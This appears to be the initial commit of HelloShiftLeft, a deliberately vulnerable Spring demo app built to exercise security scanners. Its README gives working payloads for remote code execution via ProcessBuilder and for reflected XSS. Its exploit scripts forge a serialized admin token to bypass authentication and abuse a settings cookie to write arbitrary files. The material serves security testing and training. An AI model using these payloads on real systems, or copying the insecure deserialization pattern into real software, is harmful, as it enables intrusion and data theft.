Skip to content

Commit 2db87c2

Browse files
author
Alex Hornbake
committed
initial commit
0 parents  commit 2db87c2

40 files changed

+2198
-0
lines changed

.gitignore

Lines changed: 138 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,138 @@
1+
*.DS_STORE
2+
.idea/
3+
.gitleaks_bin/
4+
repos/
5+
.vscode/
6+
.tox/
7+
.tool-versions
8+
venv/
9+
# Byte-compiled / optimized / DLL files
10+
__pycache__/
11+
*.py[cod]
12+
*$py.class
13+
14+
# C extensions
15+
*.so
16+
17+
# Distribution / packaging
18+
.Python
19+
build/
20+
develop-eggs/
21+
dist/
22+
downloads/
23+
eggs/
24+
.eggs/
25+
lib64/
26+
parts/
27+
sdist/
28+
var/
29+
wheels/
30+
pip-wheel-metadata/
31+
share/python-wheels/
32+
*.egg-info/
33+
.installed.cfg
34+
*.egg
35+
MANIFEST
36+
37+
# PyInstaller
38+
# Usually these files are written by a python script from a template
39+
# before PyInstaller builds the exe, so as to inject date/other infos into it.
40+
*.manifest
41+
*.spec
42+
43+
# Installer logs
44+
pip-log.txt
45+
pip-delete-this-directory.txt
46+
47+
# Unit test / coverage reports
48+
htmlcov/
49+
.tox/
50+
.nox/
51+
.coverage
52+
.coverage.*
53+
.cache
54+
nosetests.xml
55+
coverage.xml
56+
*.cover
57+
*.py,cover
58+
.hypothesis/
59+
.pytest_cache/
60+
61+
# Translations
62+
*.mo
63+
*.pot
64+
65+
# Django stuff:
66+
*.log
67+
local_settings.py
68+
db.sqlite3
69+
db.sqlite3-journal
70+
71+
# Flask stuff:
72+
instance/
73+
.webassets-cache
74+
75+
# Scrapy stuff:
76+
.scrapy
77+
78+
# Sphinx documentation
79+
docs/_build/
80+
81+
# PyBuilder
82+
target/
83+
84+
# Jupyter Notebook
85+
.ipynb_checkpoints
86+
87+
# IPython
88+
profile_default/
89+
ipython_config.py
90+
91+
# pyenv
92+
.python-version
93+
94+
# pipenv
95+
# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
96+
# However, in case of collaboration, if having platform-specific dependencies or dependencies
97+
# having no cross-platform support, pipenv may install dependencies that don't work, or not
98+
# install all needed dependencies.
99+
#Pipfile.lock
100+
101+
# PEP 582; used by e.g. github.com/David-OConnor/pyflow
102+
__pypackages__/
103+
104+
# Celery stuff
105+
celerybeat-schedule
106+
celerybeat.pid
107+
108+
# SageMath parsed files
109+
*.sage.py
110+
111+
# Environments
112+
.env
113+
.venv
114+
env/
115+
venv/
116+
ENV/
117+
env.bak/
118+
venv.bak/
119+
120+
# Spyder project settings
121+
.spyderproject
122+
.spyproject
123+
124+
# Rope project settings
125+
.ropeproject
126+
127+
# mkdocs documentation
128+
/site
129+
130+
# mypy
131+
.mypy_cache/
132+
.dmypy.json
133+
dmypy.json
134+
135+
# Pyre type checker
136+
.pyre/
137+
.coverage
138+
reports/

.inspect.yml

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
inspect:
2+
- app:
3+
name: ShiftLeftJava
4+
additional-findings:
5+
- hsl-secrets
6+
policy: io.shiftleft/helloshiftleft
7+
language: JAVA
8+
additional-findings:
9+
hsl-secrets:
10+
entropy: 0.5
11+
name: secrets

LICENSE

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
MIT License
2+
3+
Copyright (c) 2017 ShiftLeft Inc.
4+
5+
Permission is hereby granted, free of charge, to any person obtaining a copy
6+
of this software and associated documentation files (the "Software"), to deal
7+
in the Software without restriction, including without limitation the rights
8+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9+
copies of the Software, and to permit persons to whom the Software is
10+
furnished to do so, subject to the following conditions:
11+
12+
The above copyright notice and this permission notice shall be included in all
13+
copies or substantial portions of the Software.
14+
15+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21+
SOFTWARE.

README.md

Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
# HelloShiftLeft
2+
3+
This is a demo application which provides a real world representation of a REST service that uses a mix of convention and configuration to simulate a decent set of vulnerabilities exposed in the code. It includes scenarios such as sensitive data leaking to logs, data secrets leaks, authentication bypass, remote code execution, XSS vulnerabilites etc. The sample sensitive data is a mix of financial data such as account information, medical data of patients, and other PII data such as customer information. HelloShiftLeft also contains patterns/anti-patterns of how data is used/abused in interfaces or channels (to and from HTTP/TCP, third-party, database) that can lead to vulnerabilites. The application is built on the Spring Framework and exposes a series of endpoints and APIs for queries and simulating exploits.
4+
5+
## Build
6+
```sh
7+
$ git clone https://github.com/ShiftLeftSecurity/HelloShiftLeft.git
8+
$ cd HelloShiftLeft
9+
$ mvn clean package
10+
```
11+
12+
## Run
13+
```sh
14+
$ java -jar target/hello-shiftleft-0.0.1.jar
15+
```
16+
17+
## Exercise Vulnerabilites and Exposures
18+
Once the application starts, vulnerabilites and exposures in it can be tested with API access patterns described below and through example scripts provided in the [exploits](https://github.com/ShiftLeftSecurity/HelloShiftLeft/tree/master/exploits) directory. These are summarized below:
19+
20+
### Sensitive Data Leaks to Log
21+
22+
| URL | Purpose |
23+
| --- | ------- |
24+
| http://localhost:8081/customers/1 | Returns JSON representation of Customer resource based on Id (1) specified in URL |
25+
| http://localhost:8081/customers | Returns JSON representation of all available Customer resources |
26+
| http://localhost:8081/patients | Returns JSON representation of all available patients in record |
27+
| http://localhost:8081/account/1 | Returns JSON representation of Account based on Id (1) specified |
28+
| http://localhost:8081/account | Returns JSON representation of all available accounts and their details |
29+
30+
All the above requests leak sensitive medical and PII data to the logging service. In addition other endpoints such as `/saveSettings`, `/search/user`, `/admin/login` etc. are also available. Along with the list above, users can explore variations of `GET`, `POST` and `PUT` requests sent to these endpoints.
31+
32+
### Remote Code Execution
33+
34+
An RCE can be triggered through the `/search/user` endpoint by sending a `GET` HTTP request as follows:
35+
36+
[http://localhost:8081/search/user?foo=new java.lang.ProcessBuilder({'/bin/bash','-c','echo 3vilhax0r>/tmp/hacked'}).start()](http://localhost:8081/search/user?foo=new%20java.lang.ProcessBuilder(%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%27echo%203vilhax0r%3E%2Ftmp%2Fhacked%27%7D).start())
37+
38+
This creates a file `/tmp/hacked` with the content `3vilhax0r`
39+
40+
### Arbritary File Write
41+
42+
The [filewriteexploit.py](https://github.com/ShiftLeftSecurity/HelloShiftLeft/blob/master/exploits/filewriteexploit.py) script can be executed as follows to trigger the arbritary file writing through the `/saveSettings` endpoint:
43+
```
44+
$ python2 filewriteexploit.py http://localhost:8081/saveSettings testfile 3vilhax0r
45+
```
46+
This creates a file named `testfile` with `3vilhax0r` as its contents
47+
48+
### Authentication Bypass
49+
50+
The [exploit.py](https://github.com/ShiftLeftSecurity/helloshiftleft/blob/master/exploits/JavaSerializationExploit/src/main/java/exploit.py) script allows an authentication bypass by exposing a deserialization vulnerability which allows administrator access:
51+
```
52+
$ python2 exploit.py
53+
```
54+
55+
This returns the following sensitive data:
56+
57+
```
58+
Customer;Month;Volume
59+
Netflix;January;200,000
60+
Palo Alto;January;200,000
61+
```
62+
63+
### XSS
64+
65+
A reflected XSS vulnerability exists in the application and can be triggered using the _hidden_ `/debug` endpoint as follows:
66+
67+
[http://localhost:8081/debug?customerId=1&clientId=1&firstName=a&lastName=b&dateOfBirth=123&ssn=123&socialSecurityNum=1&tin=123&phoneNumber=5432<scriscriptpt>alert(1)</sscriptcript>](http://localhost:8081/debug?customerId=1&clientId=1&firstName=a&lastName=b&dateOfBirth=123&ssn=123&socialSecurityNum=1&tin=123&phoneNumber=5432<scriscriptpt>alert(1)</sscriptcript>)
68+
69+
It raises and alert dialogue and returns the Customer object data.

azure-pipelines.yml

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
variables:
2+
- group: shiftleft-token
3+
4+
trigger:
5+
- master
6+
- feature/*
7+
8+
pool:
9+
vmImage: 'windows-latest'
10+
11+
steps:
12+
- task: Maven@3
13+
inputs:
14+
mavenPomFile: 'pom.xml'
15+
mavenOptions: '-Xmx3072m'
16+
javaHomeOption: 'JDKVersion'
17+
jdkVersionOption: '1.8'
18+
jdkArchitectureOption: 'x64'
19+
publishJUnitResults: false
20+
goals: 'package'
21+
- task: PowerShell@2
22+
displayName: Download ShiftLeft cli
23+
inputs:
24+
targetType: 'inline'
25+
script: |
26+
Invoke-WebRequest -Uri 'https://cdn.shiftleft.io/download/sl-latest-windows-x64.zip' -OutFile $(Agent.HomeDirectory)\sl.zip
27+
Expand-Archive -Path $(Agent.HomeDirectory)\sl.zip -DestinationPath $(Agent.HomeDirectory)\
28+
- task: CmdLine@2
29+
displayName: Analyze with Inspect
30+
inputs:
31+
script: |
32+
$(Agent.HomeDirectory)\sl.exe analyze --force --app ShiftLeftJavaAzWin --verbose --tag branch=$(Build.SourceBranchName) --java --cpg target/hello-shiftleft-0.0.1.jar
33+
workingDirectory: '$(Build.SourcesDirectory)'
34+
env:
35+
SHIFTLEFT_ORG_ID: $(SHIFTLEFT_ORG_ID)
36+
SHIFTLEFT_ACCESS_TOKEN: $(SHIFTLEFT_ACCESS_TOKEN)
Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
import io.shiftleft.model.AuthToken;
2+
import java.io.*;
3+
import java.util.Base64;
4+
import java.net.*;
5+
public class DoSerialize {
6+
7+
public static void main(String[] main) throws Exception{
8+
AuthToken authToken = new AuthToken(0);
9+
ByteArrayOutputStream bos = new ByteArrayOutputStream();
10+
ObjectOutputStream out = new ObjectOutputStream(bos);
11+
out.writeObject(authToken);
12+
String finalToken = new String(Base64.getEncoder().encode(bos.toByteArray()));
13+
out.writeObject(authToken);
14+
out.close();
15+
16+
System.out.println(finalToken);
17+
}
18+
}
19+
Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
import requests
2+
from subprocess import Popen, PIPE
3+
4+
def console(cmd):
5+
p = Popen(cmd, shell=True, stdout=PIPE)
6+
out, err = p.communicate()
7+
return (p.returncode, out, err)
8+
9+
10+
console("javac DoSerialize.java")
11+
cookieval = console("java DoSerialize")
12+
cookie = {'auth': cookieval[1].strip()}
13+
r = requests.post('http://localhost:8081/admin/login', cookies=cookie, data=" ",allow_redirects=True)
14+
print r.text
Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
package io.shiftleft.model;
2+
3+
import java.io.ObjectInputStream;
4+
import java.io.Serializable;
5+
6+
import java.io.*;
7+
8+
public class AuthToken implements Serializable {
9+
private static final long serialVersionUID = 1L;
10+
11+
// yes there are only 2 roles so
12+
// having them in this class should be fine
13+
public static int ADMIN = 0;
14+
public static int USER = 1;
15+
16+
private int role;
17+
18+
public AuthToken(int role) {
19+
this.role = role;
20+
}
21+
22+
public boolean isAdmin() {
23+
return this.role == ADMIN;
24+
}
25+
26+
public int getRole() {
27+
if(this.role == ADMIN) {
28+
return ADMIN;
29+
} else {
30+
return USER;
31+
}
32+
}
33+
34+
public void setRole(int role) {
35+
this.role = role;
36+
}
37+
public void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException {
38+
System.out.println("leeeeeeeeee");
39+
}
40+
}

exploits/filewriteexploit.py

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
import base64, md5, sys, urllib
2+
import urllib2
3+
4+
if len(sys.argv) != 4:
5+
print "python2 exploit.py url (relative)filepath contentline1,contentline2"
6+
7+
url = sys.argv[1]
8+
filepath = sys.argv[2]
9+
content = sys.argv[3]
10+
11+
payload = base64.b64encode(filepath+","+content)
12+
payloadhex = md5.md5(payload).hexdigest()
13+
14+
print url
15+
opener = urllib2.build_opener()
16+
opener.addheaders.append(('Cookie', 'settings='+payload+","+payloadhex))
17+
f = opener.open(url)
18+
print f.read()

0 commit comments

Comments
 (0)